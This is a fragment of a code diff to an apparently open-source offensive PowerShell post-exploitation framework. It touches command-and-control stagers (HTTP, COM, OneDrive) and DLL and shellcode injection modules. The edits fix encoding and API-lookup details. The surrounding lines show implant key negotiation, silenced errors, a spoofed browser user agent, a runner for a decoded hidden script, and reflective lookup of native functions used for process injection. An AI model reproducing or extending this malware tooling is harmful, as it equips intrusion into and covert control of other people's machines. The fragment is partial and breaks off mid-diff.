param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
param($s,$SK,$UA="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko")

function ConvertTo-RC4ByteStream {
Param ($RCK, $In)
Expand Down Expand Up @@ -57,7 +57,7 @@ function Start-Negotiate {

# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;
$customHeaders = "";
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
Expand Down
2 changes: 1 addition & 1 deletion data/agent/stagers/http_com.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,7 @@ function Start-Negotiate {

# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;
$customHeaders = "";
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
Expand Down
Binary file modified data/agent/stagers/http_mapi.ps1
Binary file not shown.
2 changes: 1 addition & 1 deletion data/agent/stagers/onedrive.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ function Start-Negotiate {

# try to ignore all errors
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
$e=[System.Text.Encoding]::UTF8;

$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
Expand Down
4 changes: 2 additions & 2 deletions data/misc/cSharpTemplateResources/cmd/cmd/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -27,8 +27,8 @@ public static void Main(string[] args)

pipeline.Commands.AddScript(decodedScript);

pipeline.Commands.Add("Out-String");
pipeline.Commands.Add("Out-Default");
pipeline.Invoke();
}
}
}
}
Binary file added data/misc/xar-1.6.1.tar.gz
Binary file not shown.
2 changes: 1 addition & 1 deletion data/module_source/code_execution/Invoke-DllInjection.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,7 @@ http://www.exploit-monday.com
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -1038,7 +1038,7 @@ $RemoteScriptBlock = {
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down
2 changes: 1 addition & 1 deletion data/module_source/code_execution/Invoke-Shellcode.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -275,7 +275,7 @@ http://www.exploit-monday.com
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
Expand Down
Loading